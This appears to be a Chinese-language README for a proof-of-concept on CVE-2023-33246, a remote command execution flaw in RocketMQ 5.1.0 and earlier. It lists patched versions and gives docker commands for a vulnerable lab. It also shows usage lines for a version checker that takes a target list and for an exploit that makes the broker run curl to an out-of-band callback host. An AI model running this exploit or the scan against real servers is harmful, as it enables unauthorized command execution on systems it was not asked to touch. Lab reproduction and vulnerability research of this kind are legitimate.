CVE-2023-33246

对于RocketMQ 5.1.0及以下版本,在某些情况下,存在远程命令执行的风险。RocketMQ的几个组件,包括NameServer、Broker和Controller,在extranet上泄露,并且缺乏权限验证,攻击者可以通过使用更新配置功能作为RocketMQ运行的系统用户执行命令来利用此漏洞。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。为了防止这些攻击,建议用户升级到5.1.1或更高版本以使用RocketMQ 5.x,或升级到4.9.6或更高版以使用Rocket MQ 4.x。

环境搭建

docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf

攻击

poc: check.py

exp: exp.py

# Detect RocketMQ version to identify vulnerabilities
```
python3 check.py --ip 127.0.0.1 --port 9876
# or 
python3 check.py --file rocketmq_targets.txt --port 9876
```

# Run exploit
```
python3 exp.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
```

results matching ""

    No results matching ""